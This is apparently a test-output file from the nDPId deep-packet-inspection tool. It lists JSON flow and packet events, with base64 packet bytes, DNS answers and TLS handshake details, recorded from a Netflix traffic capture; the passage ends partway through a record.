+00425{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":53331,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0HxFAAEAGVs3AqAEHNkXM8c9\/Abtb3Tz8SCXseoAQD9JQzQAAAQEICh9kvIaFp1Dx"} +00653{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":61899,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"5JjWH70UgCqoTGHMCABFIADXschAACkG2lI2RczxwKgBBwG7z39IJex6W908\/IAYAEsLpwAAAQEICoWnUPEfZLxPmnXETJshDEAvU93gvwU7pPnqa7afklAM\/zHsLlyWP4576BHwZqqmKgw2\/\/QWDPMLCSsX5r8zWJyIQQOv9lKJyJpZjaGWiQqQN\/0aABTiN4CVH1rY9eHcj\/UAtsnzQzCw+JhpdwgGj7Htpnn+7w7G34akyNiv1aUrg7Pr0+MckzcVXdcPXjOas4iPUQwbnbuEua6Q3jwYWaFF1hYDAwAEDgAAAA=="} +00427{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":63235,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA08MhAAEAGhRXAqAEHNkXM8c9\/Abtb3Tz8SCXtHYAQD\/pP+AAAAQEICh9kvJCFp1Dx"} +00531{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":72577,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/5UJAAEAGkFDAqAEHNkXM8c9\/Abtb3Tz8SCXtHYAYEADMCQAAAQEICh9kvJmFp1DxFgMDAEYQAABCQQTLWxT\/OS9lE08F04jyALi8PNXq1Gnk3YsQzqlRUbPX6w5heKgjLFo26CQbChJSPIJfHr8z+T7Nuzf5Ehj4phqn"} +00434{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":72864,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6oJFAAEAG1UbAqAEHNkXM8c9\/Abtb3T1HSCXtHYAYEAA3jAAAAQEICh9kvJmFp1DxFAMDAAEB"} +00488{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":73070,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABh9aRAAEAGgAzAqAEHNkXM8c9\/Abtb3T1NSCXtHYAYEAB4AwAAAQEICh9kvJmFp1DxFgMDACil7XqCoyvwQFuspIPfflkSvCGtd57K5TeCdY4DBpvtbWoTPlxuXmcM"} +00426{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":122359,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0sclAACkG2vQ2RczxwKgBBwG7z39IJe0dW909eoAQAEtfDQAAAQEICoWnUQQfZLyZ"} +00496{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":122491,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnscpAACkG2sA2RczxwKgBBwG7z39IJe0dW909eoAYAEtipQAAAQEICoWnUQQfZLyZFAMDAAEBFgMDACh0uCX4sTM68KP8Mcj3yPDXgTDiuRLB7n2zyVaTM14hY69h9UvXcqAA"} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":205,"source":"netflix.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1484319034890,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"239.255.255.250","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":890998,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":8,"pkt":"AQBef\/\/65JjWH70UCABGAAAgKLUAAAECSnnAqAEH7\/\/\/+pQEAAAWAPoE7\/\/\/+gAAAAAAAAAAAAAAAAAA"} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":205,"source":"netflix.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1484319034890,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"239.255.255.250","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"netflix.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1484319035004,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51949,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":4050,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"gCqoTGHM5JjWH70UCABFAABT4P4AAP8RV0LAqAEHwKgBAcrtADUAP\/fHGiEBAAABAAAAAAAACmFwaS1nbG9iYWwHbGF0ZW5jeQZwcm9kYWEHbmV0ZmxpeANjb20AAAEAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":208,"source":"netflix.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1484319035004,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51949,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"api-global.latency.prodaa.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00639{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":24355,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"5JjWH70UgCqoTGHMCABFAADT4UNAAEAR1X3AqAEBwKgBBwA1yu0AvyycGiGBgAABAAgAAAAACmFwaS1nbG9iYWwHbGF0ZW5jeQZwcm9kYWEHbmV0ZmxpeANjb20AAAEAAcAMAAEAAQAAADoABDRZJ4vADAABAAEAAAA6AAQ0KHEVwAwAAQABAAAAOgAENrvKVcAMAAEAAQAAADoABDQnzgXADAABAAEAAAA6AAQ2lKPwwAwAAQABAAAAOgAENrujrcAMAAEAAQAAADoABDQoEorADAABAAEAAAA6AAQ0KGy7"} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":209,"source":"netflix.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":2,"flow_first_seen":1484319035004,"flow_last_seen":1484319035024,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":63,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":51949,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"api-global.latency.prodaa.netflix.com","num_queries":1,"num_answers":8,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.89.39.139"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"netflix.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1484319035079,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53132,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":79531,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAYJ9AAEAGvIXAqAEHNFkni8+MAbsc0sO0AAAAALAC\/\/+HyQAAAgQFtAEDAwUBAQgKH2TAbQAAAAAEAgAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":215,"source":"netflix.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1484319035080,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53133,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":80111,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABASDpAAEAG1OrAqAEHNFkni8+NAbuZGBE+AAAAALAC\/\/+99wAAAgQFtAEDAwUBAQgKH2TAbgAAAAAEAgAA"} +00437{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":129030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGMwk0WSeLwKgBBwG7z4zl6UHQHNLDtaASReq0kAAAAgQFtAQCCAqtiMj8H2TAbQEDAwg="} +00425{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":130402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0gZlAAEAGm5fAqAEHNFkni8+MAbsc0sO15elB0YAQEBUZAAAAAQEICh9kwKCtiMj8"} +00437{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":130944,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGNAk0WSeLwKgBBwG7z40HBfk7mRgRP6ASReoSOAAAAgQFtAQCCAqtiMj8H2TAbgEDAwg="} +00427{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":132214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0YNFAAEAGvF\/AqAEHNFkni8+NAbuZGBE\/BwX5PIAQEBV2pwAAAQEICh9kwKGtiMj8"} +00710{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":134770,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEEsStAAEAGazXAqAEHNFkni8+MAbsc0sO15elB0YAYEBWGUAAAAQEICh9kwKOtiMj8FgMBAMsBAADHAwNYeOk76erORdznXBXvPSpQVtkmxHNGba3wUCSzaRztoSCumkX9HtWv\/974df5VzRYePKjb1+omhktiqBKmGEtDEQAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":224,"source":"netflix.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1484319035079,"flow_last_seen":1484319035134,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00712{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":136106,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEEDNVAAEAGD4zAqAEHNFkni8+NAbuZGBE\/BwX5PIAYEBWJrgAAAQEICh9kwKStiMj8FgMBAMsBAADHAwNYeOk7lPRrg34Uu\/Y+HzZqHJ9SINdd1V+d8fl0kU8rKiCumkX9HtWv\/974df5VzRYePKjb1+omhktiqBKmGEtDEQAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":225,"source":"netflix.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1484319035080,"flow_last_seen":1484319035136,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53133,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00425{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":183349,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0iNlAACoGqjc0WSeLwKgBBwG7z4zl6UHRHNLEhYAQAEsn6gAAAQEICq2IyQkfZMCj"} +02370{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":185788,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXciNpAACoGpI40WSeLwKgBBwG7z4zl6UHRHNLEhYAQAEuNJAAAAQEICq2IyQofZMCjFgMDAFkCAABVAwNYeOk77vRck+pFzeLQ4EBYH\/bSAIX+AJxCxXv0j9VfoCD2BACvLdUcwoa\/a+fy55QScuVO6IcSLk43HHWgx3hRd8AvAAAN\/wEAAQAACwAEAwABAhYDAwpTCwAKTwAKTAAFLTCCBSkwggQRoAMCAQICEEyDi0+FfvCSTifwFgngw9wwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlsb3MgZ2F0b3MxFjAUBgNVBAoMDU5ldGZsaXgsIEluYy4xDDAKBgNVBAsMA09wczEYMBYGA1UEAwwPYXBpLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr0Z0vVg0+uwRnQgMqpd9ZwS7jp+haqVMWt\/aP2iVEz0YnjzxpK71leEdLOvCa7xXvw6qvgJgviQpWWaZLbuMx4dZ0wdQrWbFtuiNWVROO9UKlOR7zkSpBQBHjL8PDMR8GxjYhY0z9ub1P+ar3lsbL0PqJTXnpC4+5jliGtK7hBDnRBzIyN17GbPKT0EY9qzw2OhysiseSVIpeA2uTMsdjCuCJ8U2+vpz4RKQMVBcZpbGTOowLQya0VARHJxNv8MoepZLmqpbClDmpaWt6xW2h2cjWruIsD\/YQ7jbkhDSwodDubij58Mu5BWLQ+l4PPUsjmGAv3yZxbVcRpS6Wlm4uQIDAQABo4IBqTCCAaUwgbMGA1UdEQSBqzCBqIIVYXBpLWxhdGFtLm5ldGZsaXguY29tghRodG1sdHZ1aS5uZXRmbGl4LmNvbYISYXBpLWV1Lm5ldGZsaXguY29tghJ1aWJvb3QubmV0ZmxpeC5jb22CFmFwaS1nbG9iYWwubmV0ZmxpeC5jb22CFGFwaS11c2VyLm5ldGZsaXguY29tghJhcGktdXMubmV0ZmxpeC5jb22CD2FwaS5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQAdulHmLmvIdudqnSfhfmUEAkyAOEjgZ6H0k6BxmsH9zCQp6kh2Gn+6dw6yfgP+i+rrY5dJH59AnS0VSYm9l6Z2Q+oxBW3bKnGXHyAdm+pn0xnaoyVjvtsX5c1CZkwU+uzR+tLsC8xb0LDX0GTepgBR9Gv6C4+xg9+2VPA+fWZFwOvKONHO7uIp4D+u7Hmp1WMg8XA8cm2R59JkzTy56a2qikZCBk0Iiv6tg1u4MVCfWygHnmBNLR0RYC6LqagZzsJF6hfv7jbweV24LQUbdNELDCtEH0VUYn5jzB7SmHZg8RPHU5ZesfRgzs6ULuupnucw3hatgscIhcAN2cOcz9cQAAUZMIIFFTCCA\/2gAwI="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":227,"source":"netflix.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1484319035079,"flow_last_seen":1484319035185,"flow_tot_l4_data_len":1868,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":311,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02380{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":186784,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXciNtAACoGpI00WSeLwKgBBwG7z4zl6Ud5HNLEhYAQAEuFJgAAAQEICq2IyQofZMCjAQICECguJ5F5M5LkKPIhp07JN64wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EESFqrUO0j7rFMl9SYfOFc36wkHTK21jgV\/FA4iQv1Mg5CSQdMQZP3Cx5EZx\/jGYCcGmFWTHg3\/vj7Dm5CG6h8wQQBAQA2QFApcoPddWNzg7j0BaBm2wrnfEpr81JDq1qPgkKwdkS7LVcGeZdIiRn+Yso04lc90+CR6Z3YRsfkCc+mmOnIAj+F4s3NDHk="} +01275{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":228,"source":"netflix.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":7,"flow_first_seen":1484319035079,"flow_last_seen":1484319035186,"flow_tot_l4_data_len":3348,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":478,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": 